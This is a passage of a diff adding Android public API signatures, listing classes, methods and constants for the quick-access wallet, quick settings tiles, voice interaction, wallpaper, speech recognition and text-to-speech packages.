+    method public abstract void onWalletDismissed();
+    method public final void sendWalletServiceEvent(@NonNull android.service.quickaccesswallet.WalletServiceEvent);
+    field public static final String ACTION_VIEW_WALLET = "android.service.quickaccesswallet.action.VIEW_WALLET";
+    field public static final String ACTION_VIEW_WALLET_SETTINGS = "android.service.quickaccesswallet.action.VIEW_WALLET_SETTINGS";
+    field public static final String SERVICE_INTERFACE = "android.service.quickaccesswallet.QuickAccessWalletService";
+    field public static final String SERVICE_META_DATA = "android.quickaccesswallet";
+  }
+
+  public final class SelectWalletCardRequest implements android.os.Parcelable {
+    ctor public SelectWalletCardRequest(@NonNull String);
+    method public int describeContents();
+    method @NonNull public String getCardId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.quickaccesswallet.SelectWalletCardRequest> CREATOR;
+  }
+
+  public final class WalletCard implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.graphics.drawable.Icon getCardIcon();
+    method @NonNull public String getCardId();
+    method @NonNull public android.graphics.drawable.Icon getCardImage();
+    method @Nullable public CharSequence getCardLabel();
+    method @NonNull public CharSequence getContentDescription();
+    method @NonNull public android.app.PendingIntent getPendingIntent();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.quickaccesswallet.WalletCard> CREATOR;
+  }
+
+  public static final class WalletCard.Builder {
+    ctor public WalletCard.Builder(@NonNull String, @NonNull android.graphics.drawable.Icon, @NonNull CharSequence, @NonNull android.app.PendingIntent);
+    method @NonNull public android.service.quickaccesswallet.WalletCard build();
+    method @NonNull public android.service.quickaccesswallet.WalletCard.Builder setCardIcon(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.service.quickaccesswallet.WalletCard.Builder setCardLabel(@Nullable CharSequence);
+  }
+
+  public final class WalletServiceEvent implements android.os.Parcelable {
+    ctor public WalletServiceEvent(int);
+    method public int describeContents();
+    method public int getEventType();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.quickaccesswallet.WalletServiceEvent> CREATOR;
+    field public static final int TYPE_NFC_PAYMENT_STARTED = 1; // 0x1
+  }
+
+}
+
+package android.service.quicksettings {
+
+  public final class Tile implements android.os.Parcelable {
+    method public int describeContents();
+    method public CharSequence getContentDescription();
+    method public android.graphics.drawable.Icon getIcon();
+    method public CharSequence getLabel();
+    method public int getState();
+    method @Nullable public CharSequence getStateDescription();
+    method @Nullable public CharSequence getSubtitle();
+    method public void setContentDescription(CharSequence);
+    method public void setIcon(android.graphics.drawable.Icon);
+    method public void setLabel(CharSequence);
+    method public void setState(int);
+    method public void setStateDescription(@Nullable CharSequence);
+    method public void setSubtitle(@Nullable CharSequence);
+    method public void updateTile();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.service.quicksettings.Tile> CREATOR;
+    field public static final int STATE_ACTIVE = 2; // 0x2
+    field public static final int STATE_INACTIVE = 1; // 0x1
+    field public static final int STATE_UNAVAILABLE = 0; // 0x0
+  }
+
+  public class TileService extends android.app.Service {
+    ctor public TileService();
+    method public final android.service.quicksettings.Tile getQsTile();
+    method public final boolean isLocked();
+    method public final boolean isSecure();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public void onClick();
+    method public void onStartListening();
+    method public void onStopListening();
+    method public void onTileAdded();
+    method public void onTileRemoved();
+    method public static final void requestListeningState(android.content.Context, android.content.ComponentName);
+    method public final void showDialog(android.app.Dialog);
+    method public final void startActivityAndCollapse(android.content.Intent);
+    method public final void unlockAndRun(Runnable);
+    field public static final String ACTION_QS_TILE = "android.service.quicksettings.action.QS_TILE";
+    field public static final String ACTION_QS_TILE_PREFERENCES = "android.service.quicksettings.action.QS_TILE_PREFERENCES";
+    field public static final String META_DATA_ACTIVE_TILE = "android.service.quicksettings.ACTIVE_TILE";
+    field public static final String META_DATA_TOGGLEABLE_TILE = "android.service.quicksettings.TOGGLEABLE_TILE";
+  }
+
+}
+
+package android.service.restrictions {
+
+  public abstract class RestrictionsReceiver extends android.content.BroadcastReceiver {
+    ctor public RestrictionsReceiver();
+    method public void onReceive(android.content.Context, android.content.Intent);
+    method public abstract void onRequestPermission(android.content.Context, String, String, String, android.os.PersistableBundle);
+  }
+
+}
+
+package android.service.textservice {
+
+  public abstract class SpellCheckerService extends android.app.Service {
+    ctor public SpellCheckerService();
+    method public abstract android.service.textservice.SpellCheckerService.Session createSession();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    field public static final String SERVICE_INTERFACE = "android.service.textservice.SpellCheckerService";
+  }
+
+  public abstract static class SpellCheckerService.Session {
+    ctor public SpellCheckerService.Session();
+    method public android.os.Bundle getBundle();
+    method public String getLocale();
+    method public int getSupportedAttributes();
+    method public void onCancel();
+    method public void onClose();
+    method public abstract void onCreate();
+    method public android.view.textservice.SentenceSuggestionsInfo[] onGetSentenceSuggestionsMultiple(android.view.textservice.TextInfo[], int);
+    method public abstract android.view.textservice.SuggestionsInfo onGetSuggestions(android.view.textservice.TextInfo, int);
+    method public android.view.textservice.SuggestionsInfo[] onGetSuggestionsMultiple(android.view.textservice.TextInfo[], int, boolean);
+  }
+
+}
+
+package android.service.voice {
+
+  public class VoiceInteractionService extends android.app.Service {
+    ctor public VoiceInteractionService();
+    method public int getDisabledShowContext();
+    method public static boolean isActiveService(android.content.Context, android.content.ComponentName);
+    method public android.os.IBinder onBind(android.content.Intent);
+    method @NonNull public java.util.Set<java.lang.String> onGetSupportedVoiceActions(@NonNull java.util.Set<java.lang.String>);
+    method public void onLaunchVoiceAssistFromKeyguard();
+    method public void onReady();
+    method public void onShutdown();
+    method public void setDisabledShowContext(int);
+    method public final void setUiHints(@NonNull android.os.Bundle);
+    method public void showSession(android.os.Bundle, int);
+    field public static final String SERVICE_INTERFACE = "android.service.voice.VoiceInteractionService";
+    field public static final String SERVICE_META_DATA = "android.voice_interaction";
+  }
+
+  public class VoiceInteractionSession implements android.content.ComponentCallbacks2 android.view.KeyEvent.Callback {
+    ctor public VoiceInteractionSession(android.content.Context);
+    ctor public VoiceInteractionSession(android.content.Context, android.os.Handler);
+    method public void closeSystemDialogs();
+    method public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method public void finish();
+    method public android.content.Context getContext();
+    method public int getDisabledShowContext();
+    method public android.view.LayoutInflater getLayoutInflater();
+    method public int getUserDisabledShowContext();
+    method public android.app.Dialog getWindow();
+    method public void hide();
+    method public void onAssistStructureFailure(Throwable);
+    method public void onBackPressed();
+    method public void onCancelRequest(android.service.voice.VoiceInteractionSession.Request);
+    method public void onCloseSystemDialogs();
+    method public void onComputeInsets(android.service.voice.VoiceInteractionSession.Insets);
+    method public void onConfigurationChanged(android.content.res.Configuration);
+    method public void onCreate();
+    method public android.view.View onCreateContentView();
+    method public void onDestroy();
+    method public void onDirectActionsInvalidated(@NonNull android.service.voice.VoiceInteractionSession.ActivityId);
+    method public boolean[] onGetSupportedCommands(String[]);
+    method @Deprecated public void onHandleAssist(@Nullable android.os.Bundle, @Nullable android.app.assist.AssistStructure, @Nullable android.app.assist.AssistContent);
+    method public void onHandleAssist(@NonNull android.service.voice.VoiceInteractionSession.AssistState);
+    method @Deprecated public void onHandleAssistSecondary(@Nullable android.os.Bundle, @Nullable android.app.assist.AssistStructure, @Nullable android.app.assist.AssistContent, int, int);
+    method public void onHandleScreenshot(@Nullable android.graphics.Bitmap);
+    method public void onHide();
+    method public boolean onKeyDown(int, android.view.KeyEvent);
+    method public boolean onKeyLongPress(int, android.view.KeyEvent);
+    method public boolean onKeyMultiple(int, int, android.view.KeyEvent);
+    method public boolean onKeyUp(int, android.view.KeyEvent);
+    method public void onLockscreenShown();
+    method public void onLowMemory();
+    method public void onPrepareShow(android.os.Bundle, int);
+    method public void onRequestAbortVoice(android.service.voice.VoiceInteractionSession.AbortVoiceRequest);
+    method public void onRequestCommand(android.service.voice.VoiceInteractionSession.CommandRequest);
+    method public void onRequestCompleteVoice(android.service.voice.VoiceInteractionSession.CompleteVoiceRequest);
+    method public void onRequestConfirmation(android.service.voice.VoiceInteractionSession.ConfirmationRequest);
+    method public void onRequestPickOption(android.service.voice.VoiceInteractionSession.PickOptionRequest);
+    method public void onShow(android.os.Bundle, int);
+    method public void onTaskFinished(android.content.Intent, int);
+    method public void onTaskStarted(android.content.Intent, int);
+    method public void onTrimMemory(int);
+    method public final void performDirectAction(@NonNull android.app.DirectAction, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.os.Bundle>);
+    method public final void requestDirectActions(@NonNull android.service.voice.VoiceInteractionSession.ActivityId, @Nullable android.os.CancellationSignal, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.util.List<android.app.DirectAction>>);
+    method public void setContentView(android.view.View);
+    method public void setDisabledShowContext(int);
+    method public void setKeepAwake(boolean);
+    method public void setTheme(int);
+    method public void setUiEnabled(boolean);
+    method public void show(android.os.Bundle, int);
+    method public void startAssistantActivity(android.content.Intent);
+    method public void startVoiceActivity(android.content.Intent);
+    field public static final int SHOW_SOURCE_ACTIVITY = 16; // 0x10
+    field public static final int SHOW_SOURCE_APPLICATION = 8; // 0x8
+    field public static final int SHOW_SOURCE_ASSIST_GESTURE = 4; // 0x4
+    field public static final int SHOW_SOURCE_AUTOMOTIVE_SYSTEM_UI = 128; // 0x80
+    field public static final int SHOW_SOURCE_NOTIFICATION = 64; // 0x40
+    field public static final int SHOW_SOURCE_PUSH_TO_TALK = 32; // 0x20
+    field public static final int SHOW_WITH_ASSIST = 1; // 0x1
+    field public static final int SHOW_WITH_SCREENSHOT = 2; // 0x2
+  }
+
+  public static final class VoiceInteractionSession.AbortVoiceRequest extends android.service.voice.VoiceInteractionSession.Request {
+    method @Deprecated @Nullable public CharSequence getMessage();
+    method @Nullable public android.app.VoiceInteractor.Prompt getVoicePrompt();
+    method public void sendAbortResult(android.os.Bundle);
+  }
+
+  public static class VoiceInteractionSession.ActivityId {
+  }
+
+  public static final class VoiceInteractionSession.AssistState {
+    method @NonNull public android.service.voice.VoiceInteractionSession.ActivityId getActivityId();
+    method @Nullable public android.app.assist.AssistContent getAssistContent();
+    method @Nullable public android.os.Bundle getAssistData();
+    method @Nullable public android.app.assist.AssistStructure getAssistStructure();
+    method @IntRange(from=0) public int getCount();
+    method @IntRange(from=0xffffffff) public int getIndex();
+    method public boolean isFocused();
+  }
+
+  public static final class VoiceInteractionSession.CommandRequest extends android.service.voice.VoiceInteractionSession.Request {
+    method public String getCommand();
+    method public void sendIntermediateResult(android.os.Bundle);
+    method public void sendResult(android.os.Bundle);
+  }
+
+  public static final class VoiceInteractionSession.CompleteVoiceRequest extends android.service.voice.VoiceInteractionSession.Request {
+    method @Deprecated @Nullable public CharSequence getMessage();
+    method @Nullable public android.app.VoiceInteractor.Prompt getVoicePrompt();
+    method public void sendCompleteResult(android.os.Bundle);
+  }
+
+  public static final class VoiceInteractionSession.ConfirmationRequest extends android.service.voice.VoiceInteractionSession.Request {
+    method @Deprecated @Nullable public CharSequence getPrompt();
+    method @Nullable public android.app.VoiceInteractor.Prompt getVoicePrompt();
+    method public void sendConfirmationResult(boolean, android.os.Bundle);
+  }
+
+  public static final class VoiceInteractionSession.Insets {
+    ctor public VoiceInteractionSession.Insets();
+    field public static final int TOUCHABLE_INSETS_CONTENT = 1; // 0x1
+    field public static final int TOUCHABLE_INSETS_FRAME = 0; // 0x0
+    field public static final int TOUCHABLE_INSETS_REGION = 3; // 0x3
+    field public final android.graphics.Rect contentInsets;
+    field public int touchableInsets;
+    field public final android.graphics.Region touchableRegion;
+  }
+
+  public static final class VoiceInteractionSession.PickOptionRequest extends android.service.voice.VoiceInteractionSession.Request {
+    method public android.app.VoiceInteractor.PickOptionRequest.Option[] getOptions();
+    method @Deprecated @Nullable public CharSequence getPrompt();
+    method @Nullable public android.app.VoiceInteractor.Prompt getVoicePrompt();
+    method public void sendIntermediatePickOptionResult(android.app.VoiceInteractor.PickOptionRequest.Option[], android.os.Bundle);
+    method public void sendPickOptionResult(android.app.VoiceInteractor.PickOptionRequest.Option[], android.os.Bundle);
+  }
+
+  public static class VoiceInteractionSession.Request {
+    method public void cancel();
+    method public String getCallingPackage();
+    method public int getCallingUid();
+    method public android.os.Bundle getExtras();
+    method public boolean isActive();
+  }
+
+  public abstract class VoiceInteractionSessionService extends android.app.Service {
+    ctor public VoiceInteractionSessionService();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public abstract android.service.voice.VoiceInteractionSession onNewSession(android.os.Bundle);
+  }
+
+}
+
+package android.service.vr {
+
+  public abstract class VrListenerService extends android.app.Service {
+    ctor public VrListenerService();
+    method public static final boolean isVrModePackageEnabled(@NonNull android.content.Context, @NonNull android.content.ComponentName);
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public void onCurrentVrActivityChanged(android.content.ComponentName);
+    field public static final String SERVICE_INTERFACE = "android.service.vr.VrListenerService";
+  }
+
+}
+
+package android.service.wallpaper {
+
+  public abstract class WallpaperService extends android.app.Service {
+    ctor public WallpaperService();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public abstract android.service.wallpaper.WallpaperService.Engine onCreateEngine();
+    field public static final String SERVICE_INTERFACE = "android.service.wallpaper.WallpaperService";
+    field public static final String SERVICE_META_DATA = "android.service.wallpaper";
+  }
+
+  public class WallpaperService.Engine {
+    ctor public WallpaperService.Engine();
+    method protected void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method public int getDesiredMinimumHeight();
+    method public int getDesiredMinimumWidth();
+    method @Nullable public android.content.Context getDisplayContext();
+    method public android.view.SurfaceHolder getSurfaceHolder();
+    method public boolean isPreview();
+    method public boolean isVisible();
+    method public void notifyColorsChanged();
+    method public void onApplyWindowInsets(android.view.WindowInsets);
+    method public android.os.Bundle onCommand(String, int, int, int, android.os.Bundle, boolean);
+    method @Nullable public android.app.WallpaperColors onComputeColors();
+    method public void onCreate(android.view.SurfaceHolder);
+    method public void onDesiredSizeChanged(int, int);
+    method public void onDestroy();
+    method public void onOffsetsChanged(float, float, float, float, int, int);
+    method public void onSurfaceChanged(android.view.SurfaceHolder, int, int, int);
+    method public void onSurfaceCreated(android.view.SurfaceHolder);
+    method public void onSurfaceDestroyed(android.view.SurfaceHolder);
+    method public void onSurfaceRedrawNeeded(android.view.SurfaceHolder);
+    method public void onTouchEvent(android.view.MotionEvent);
+    method public void onVisibilityChanged(boolean);
+    method public void onZoomChanged(@FloatRange(from=0.0f, to=1.0f) float);
+    method public void setOffsetNotificationsEnabled(boolean);
+    method public void setTouchEventsEnabled(boolean);
+  }
+
+}
+
+package android.speech {
+
+  public interface RecognitionListener {
+    method public void onBeginningOfSpeech();
+    method public void onBufferReceived(byte[]);
+    method public void onEndOfSpeech();
+    method public void onError(int);
+    method public void onEvent(int, android.os.Bundle);
+    method public void onPartialResults(android.os.Bundle);
+    method public void onReadyForSpeech(android.os.Bundle);
+    method public void onResults(android.os.Bundle);
+    method public void onRmsChanged(float);
+  }
+
+  public abstract class RecognitionService extends android.app.Service {
+    ctor public RecognitionService();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method protected abstract void onCancel(android.speech.RecognitionService.Callback);
+    method protected abstract void onStartListening(android.content.Intent, android.speech.RecognitionService.Callback);
+    method protected abstract void onStopListening(android.speech.RecognitionService.Callback);
+    field public static final String SERVICE_INTERFACE = "android.speech.RecognitionService";
+    field public static final String SERVICE_META_DATA = "android.speech";
+  }
+
+  public class RecognitionService.Callback {
+    method public void beginningOfSpeech() throws android.os.RemoteException;
+    method public void bufferReceived(byte[]) throws android.os.RemoteException;
+    method public void endOfSpeech() throws android.os.RemoteException;
+    method public void error(int) throws android.os.RemoteException;
+    method @NonNull public android.content.AttributionSource getCallingAttributionSource();
+    method public int getCallingUid();
+    method public void partialResults(android.os.Bundle) throws android.os.RemoteException;
+    method public void readyForSpeech(android.os.Bundle) throws android.os.RemoteException;
+    method public void results(android.os.Bundle) throws android.os.RemoteException;
+    method public void rmsChanged(float) throws android.os.RemoteException;
+  }
+
+  public class RecognizerIntent {
+    method public static final android.content.Intent getVoiceDetailsIntent(android.content.Context);
+    field public static final String ACTION_GET_LANGUAGE_DETAILS = "android.speech.action.GET_LANGUAGE_DETAILS";
+    field public static final String ACTION_RECOGNIZE_SPEECH = "android.speech.action.RECOGNIZE_SPEECH";
+    field public static final String ACTION_VOICE_SEARCH_HANDS_FREE = "android.speech.action.VOICE_SEARCH_HANDS_FREE";
+    field public static final String ACTION_WEB_SEARCH = "android.speech.action.WEB_SEARCH";
+    field public static final String DETAILS_META_DATA = "android.speech.DETAILS";
+    field public static final String EXTRA_AUDIO_INJECT_SOURCE = "android.speech.extra.AUDIO_INJECT_SOURCE";
+    field public static final String EXTRA_CALLING_PACKAGE = "calling_package";
+    field public static final String EXTRA_CONFIDENCE_SCORES = "android.speech.extra.CONFIDENCE_SCORES";
+    field public static final String EXTRA_LANGUAGE = "android.speech.extra.LANGUAGE";
+    field public static final String EXTRA_LANGUAGE_MODEL = "android.speech.extra.LANGUAGE_MODEL";
+    field public static final String EXTRA_LANGUAGE_PREFERENCE = "android.speech.extra.LANGUAGE_PREFERENCE";
+    field public static final String EXTRA_MAX_RESULTS = "android.speech.extra.MAX_RESULTS";
+    field public static final String EXTRA_ONLY_RETURN_LANGUAGE_PREFERENCE = "android.speech.extra.ONLY_RETURN_LANGUAGE_PREFERENCE";
+    field public static final String EXTRA_ORIGIN = "android.speech.extra.ORIGIN";
+    field public static final String EXTRA_PARTIAL_RESULTS = "android.speech.extra.PARTIAL_RESULTS";
+    field public static final String EXTRA_PREFER_OFFLINE = "android.speech.extra.PREFER_OFFLINE";
+    field public static final String EXTRA_PROMPT = "android.speech.extra.PROMPT";
+    field public static final String EXTRA_RESULTS = "android.speech.extra.RESULTS";
+    field public static final String EXTRA_RESULTS_PENDINGINTENT = "android.speech.extra.RESULTS_PENDINGINTENT";
+    field public static final String EXTRA_RESULTS_PENDINGINTENT_BUNDLE = "android.speech.extra.RESULTS_PENDINGINTENT_BUNDLE";
+    field public static final String EXTRA_SECURE = "android.speech.extras.EXTRA_SECURE";
+    field public static final String EXTRA_SPEECH_INPUT_COMPLETE_SILENCE_LENGTH_MILLIS = "android.speech.extras.SPEECH_INPUT_COMPLETE_SILENCE_LENGTH_MILLIS";
+    field public static final String EXTRA_SPEECH_INPUT_MINIMUM_LENGTH_MILLIS = "android.speech.extras.SPEECH_INPUT_MINIMUM_LENGTH_MILLIS";
+    field public static final String EXTRA_SPEECH_INPUT_POSSIBLY_COMPLETE_SILENCE_LENGTH_MILLIS = "android.speech.extras.SPEECH_INPUT_POSSIBLY_COMPLETE_SILENCE_LENGTH_MILLIS";
+    field public static final String EXTRA_SUPPORTED_LANGUAGES = "android.speech.extra.SUPPORTED_LANGUAGES";
+    field public static final String EXTRA_WEB_SEARCH_ONLY = "android.speech.extra.WEB_SEARCH_ONLY";
+    field public static final String LANGUAGE_MODEL_FREE_FORM = "free_form";
+    field public static final String LANGUAGE_MODEL_WEB_SEARCH = "web_search";
+    field public static final int RESULT_AUDIO_ERROR = 5; // 0x5
+    field public static final int RESULT_CLIENT_ERROR = 2; // 0x2
+    field public static final int RESULT_NETWORK_ERROR = 4; // 0x4
+    field public static final int RESULT_NO_MATCH = 1; // 0x1
+    field public static final int RESULT_SERVER_ERROR = 3; // 0x3
+  }
+
+  public class RecognizerResultsIntent {
+    field public static final String ACTION_VOICE_SEARCH_RESULTS = "android.speech.action.VOICE_SEARCH_RESULTS";
+    field public static final String EXTRA_VOICE_SEARCH_RESULT_HTML = "android.speech.extras.VOICE_SEARCH_RESULT_HTML";
+    field public static final String EXTRA_VOICE_SEARCH_RESULT_HTML_BASE_URLS = "android.speech.extras.VOICE_SEARCH_RESULT_HTML_BASE_URLS";
+    field public static final String EXTRA_VOICE_SEARCH_RESULT_HTTP_HEADERS = "android.speech.extras.EXTRA_VOICE_SEARCH_RESULT_HTTP_HEADERS";
+    field public static final String EXTRA_VOICE_SEARCH_RESULT_STRINGS = "android.speech.extras.VOICE_SEARCH_RESULT_STRINGS";
+    field public static final String EXTRA_VOICE_SEARCH_RESULT_URLS = "android.speech.extras.VOICE_SEARCH_RESULT_URLS";
+    field public static final String URI_SCHEME_INLINE = "inline";
+  }
+
+  public class SpeechRecognizer {
+    method @MainThread public void cancel();
+    method @MainThread @NonNull public static android.speech.SpeechRecognizer createOnDeviceSpeechRecognizer(@NonNull android.content.Context);
+    method @MainThread public static android.speech.SpeechRecognizer createSpeechRecognizer(android.content.Context);
+    method @MainThread public static android.speech.SpeechRecognizer createSpeechRecognizer(android.content.Context, android.content.ComponentName);
+    method public void destroy();
+    method public static boolean isOnDeviceRecognitionAvailable(@NonNull android.content.Context);
+    method public static boolean isRecognitionAvailable(@NonNull android.content.Context);
+    method @MainThread public void setRecognitionListener(android.speech.RecognitionListener);
+    method @MainThread public void startListening(android.content.Intent);
+    method @MainThread public void stopListening();
+    field public static final String CONFIDENCE_SCORES = "confidence_scores";
+    field public static final int ERROR_AUDIO = 3; // 0x3
+    field public static final int ERROR_CLIENT = 5; // 0x5
+    field public static final int ERROR_INSUFFICIENT_PERMISSIONS = 9; // 0x9
+    field public static final int ERROR_LANGUAGE_NOT_SUPPORTED = 12; // 0xc
+    field public static final int ERROR_LANGUAGE_UNAVAILABLE = 13; // 0xd
+    field public static final int ERROR_NETWORK = 2; // 0x2
+    field public static final int ERROR_NETWORK_TIMEOUT = 1; // 0x1
+    field public static final int ERROR_NO_MATCH = 7; // 0x7
+    field public static final int ERROR_RECOGNIZER_BUSY = 8; // 0x8
+    field public static final int ERROR_SERVER = 4; // 0x4
+    field public static final int ERROR_SERVER_DISCONNECTED = 11; // 0xb
+    field public static final int ERROR_SPEECH_TIMEOUT = 6; // 0x6
+    field public static final int ERROR_TOO_MANY_REQUESTS = 10; // 0xa
+    field public static final String RESULTS_RECOGNITION = "results_recognition";
+  }
+
+}
+
+package android.speech.tts {
+
+  public interface SynthesisCallback {
+    method public int audioAvailable(byte[], int, int);
+    method public int done();
+    method public void error();
+    method public void error(int);
+    method public int getMaxBufferSize();
+    method public boolean hasFinished();
+    method public boolean hasStarted();
+    method public default void rangeStart(int, int, int);
+    method public int start(int, int, @IntRange(from=1, to=2) int);
+  }
+
+  public final class SynthesisRequest {
+    ctor public SynthesisRequest(String, android.os.Bundle);
+    ctor public SynthesisRequest(CharSequence, android.os.Bundle);
+    method public int getCallerUid();
+    method public CharSequence getCharSequenceText();
+    method public String getCountry();
+    method public String getLanguage();
+    method public android.os.Bundle getParams();
+    method public int getPitch();
+    method public int getSpeechRate();
+    method @Deprecated public String getText();
+    method public String getVariant();
+    method public String getVoiceName();
+  }
+
+  public class TextToSpeech {
+    ctor public TextToSpeech(android.content.Context, android.speech.tts.TextToSpeech.OnInitListener);
+    ctor public TextToSpeech(android.content.Context, android.speech.tts.TextToSpeech.OnInitListener, String);
+    method public int addEarcon(String, String, @RawRes int);
+    method @Deprecated public int addEarcon(String, String);
+    method public int addEarcon(String, java.io.File);
+    method public int addEarcon(@NonNull String, @NonNull android.net.Uri);
+    method public int addSpeech(String, String, @RawRes int);
+    method public int addSpeech(CharSequence, String, @RawRes int);
+    method public int addSpeech(String, String);
+    method public int addSpeech(CharSequence, java.io.File);
+    method public int addSpeech(@NonNull CharSequence, @NonNull android.net.Uri);
+    method @Deprecated public boolean areDefaultsEnforced();
+    method public java.util.Set<java.util.Locale> getAvailableLanguages();
+    method public String getDefaultEngine();
+    method @Deprecated public java.util.Locale getDefaultLanguage();
+    method public android.speech.tts.Voice getDefaultVoice();
+    method public java.util.List<android.speech.tts.TextToSpeech.EngineInfo> getEngines();
+    method @Deprecated public java.util.Set<java.lang.String> getFeatures(java.util.Locale);
+    method @Deprecated public java.util.Locale getLanguage();
+    method public static int getMaxSpeechInputLength();
+    method public android.speech.tts.Voice getVoice();
+    method public java.util.Set<android.speech.tts.Voice> getVoices();
+    method public int isLanguageAvailable(java.util.Locale);
+    method public boolean isSpeaking();
+    method public int playEarcon(String, int, android.os.Bundle, String);
+    method @Deprecated public int playEarcon(String, int, java.util.HashMap<java.lang.String,java.lang.String>);
+    method @Deprecated public int playSilence(long, int, java.util.HashMap<java.lang.String,java.lang.String>);
+    method public int playSilentUtterance(long, int, String);
+    method public int setAudioAttributes(android.media.AudioAttributes);
+    method @Deprecated public int setEngineByPackageName(String);
+    method public int setLanguage(java.util.Locale);
+    method @Deprecated public int setOnUtteranceCompletedListener(android.speech.tts.TextToSpeech.OnUtteranceCompletedListener);
+    method public int setOnUtteranceProgressListener(android.speech.tts.UtteranceProgressListener);
+    method public int setPitch(float);
+    method public int setSpeechRate(float);
+    method public int setVoice(android.speech.tts.Voice);
+    method public void shutdown();
+    method public int speak(CharSequence, int, android.os.Bundle, String);
+    method @Deprecated public int speak(String, int, java.util.HashMap<java.lang.String,java.lang.String>);
+    method public int stop();
+    method public int synthesizeToFile(@NonNull CharSequence, @NonNull android.os.Bundle, @NonNull android.os.ParcelFileDescriptor, @NonNull String);
+    method public int synthesizeToFile(CharSequence, android.os.Bundle, java.io.File, String);
+    method @Deprecated public int synthesizeToFile(String, java.util.HashMap<java.lang.String,java.lang.String>, String);
+    field public static final String ACTION_TTS_QUEUE_PROCESSING_COMPLETED = "android.speech.tts.TTS_QUEUE_PROCESSING_COMPLETED";
+    field public static final int ERROR = -1; // 0xffffffff
+    field public static final int ERROR_INVALID_REQUEST = -8; // 0xfffffff8
+    field public static final int ERROR_NETWORK = -6; // 0xfffffffa
+    field public static final int ERROR_NETWORK_TIMEOUT = -7; // 0xfffffff9
+    field public static final int ERROR_NOT_INSTALLED_YET = -9; // 0xfffffff7
+    field public static final int ERROR_OUTPUT = -5; // 0xfffffffb
+    field public static final int ERROR_SERVICE = -4; // 0xfffffffc
+    field public static final int ERROR_SYNTHESIS = -3; // 0xfffffffd
+    field public static final int LANG_AVAILABLE = 0; // 0x0
+    field public static final int LANG_COUNTRY_AVAILABLE = 1; // 0x1
+    field public static final int LANG_COUNTRY_VAR_AVAILABLE = 2; // 0x2
+    field public static final int LANG_MISSING_DATA = -1; // 0xffffffff
+    field public static final int LANG_NOT_SUPPORTED = -2; // 0xfffffffe
+    field public static final int QUEUE_ADD = 1; // 0x1
+    field public static final int QUEUE_FLUSH = 0; // 0x0
+    field public static final int STOPPED = -2; // 0xfffffffe
+    field public static final int SUCCESS = 0; // 0x0
+  }
+
+  public class TextToSpeech.Engine {
+    ctor public TextToSpeech.Engine();
+    field public static final String ACTION_CHECK_TTS_DATA = "android.speech.tts.engine.CHECK_TTS_DATA";
+    field public static final String ACTION_GET_SAMPLE_TEXT = "android.speech.tts.engine.GET_SAMPLE_TEXT";
+    field public static final String ACTION_INSTALL_TTS_DATA = "android.speech.tts.engine.INSTALL_TTS_DATA";
+    field public static final String ACTION_TTS_DATA_INSTALLED = "android.speech.tts.engine.TTS_DATA_INSTALLED";
+    field @Deprecated public static final int CHECK_VOICE_DATA_BAD_DATA = -1; // 0xffffffff
+    field public static final int CHECK_VOICE_DATA_FAIL = 0; // 0x0
+    field @Deprecated public static final int CHECK_VOICE_DATA_MISSING_DATA = -2; // 0xfffffffe
+    field @Deprecated public static final int CHECK_VOICE_DATA_MISSING_VOLUME = -3; // 0xfffffffd
+    field public static final int CHECK_VOICE_DATA_PASS = 1; // 0x1
+    field public static final int DEFAULT_STREAM = 3; // 0x3
+    field public static final String EXTRA_AVAILABLE_VOICES = "availableVoices";
+    field @Deprecated public static final String EXTRA_CHECK_VOICE_DATA_FOR = "checkVoiceDataFor";
+    field public static final String EXTRA_SAMPLE_TEXT = "sampleText";
+    field @Deprecated public static final String EXTRA_TTS_DATA_INSTALLED = "dataInstalled";
+    field public static final String EXTRA_UNAVAILABLE_VOICES = "unavailableVoices";
+    field @Deprecated public static final String EXTRA_VOICE_DATA_FILES = "dataFiles";
+    field @Deprecated public static final String EXTRA_VOICE_DATA_FILES_INFO = "dataFilesInfo";
+    field @Deprecated public static final String EXTRA_VOICE_DATA_ROOT_DIRECTORY = "dataRoot";
+    field public static final String INTENT_ACTION_TTS_SERVICE = "android.intent.action.TTS_SERVICE";
+    field @Deprecated public static final String KEY_FEATURE_EMBEDDED_SYNTHESIS = "embeddedTts";
+    field public static final String KEY_FEATURE_NETWORK_RETRIES_COUNT = "networkRetriesCount";
+    field @Deprecated public static final String KEY_FEATURE_NETWORK_SYNTHESIS = "networkTts";
+    field public static final String KEY_FEATURE_NETWORK_TIMEOUT_MS = "networkTimeoutMs";
+    field public static final String KEY_FEATURE_NOT_INSTALLED = "notInstalled";
+    field public static final String KEY_PARAM_PAN = "pan";
+    field public static final String KEY_PARAM_SESSION_ID = "sessionId";
+    field public static final String KEY_PARAM_STREAM = "streamType";
+    field public static final String KEY_PARAM_UTTERANCE_ID = "utteranceId";
+    field public static final String KEY_PARAM_VOLUME = "volume";
+    field public static final String SERVICE_META_DATA = "android.speech.tts";
+  }
+
+  public static class TextToSpeech.EngineInfo {
+    ctor public TextToSpeech.EngineInfo();
+    field public int icon;
+    field public String label;
+    field public String name;
+  }
+
+  public static interface TextToSpeech.OnInitListener {
+    method public void onInit(int);
+  }
+
+  @Deprecated public static interface TextToSpeech.OnUtteranceCompletedListener {
+    method @Deprecated public void onUtteranceCompleted(String);
+  }
+
+  public abstract class TextToSpeechService extends android.app.Service {
+    ctor public TextToSpeechService();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public String onGetDefaultVoiceNameFor(String, String, String);
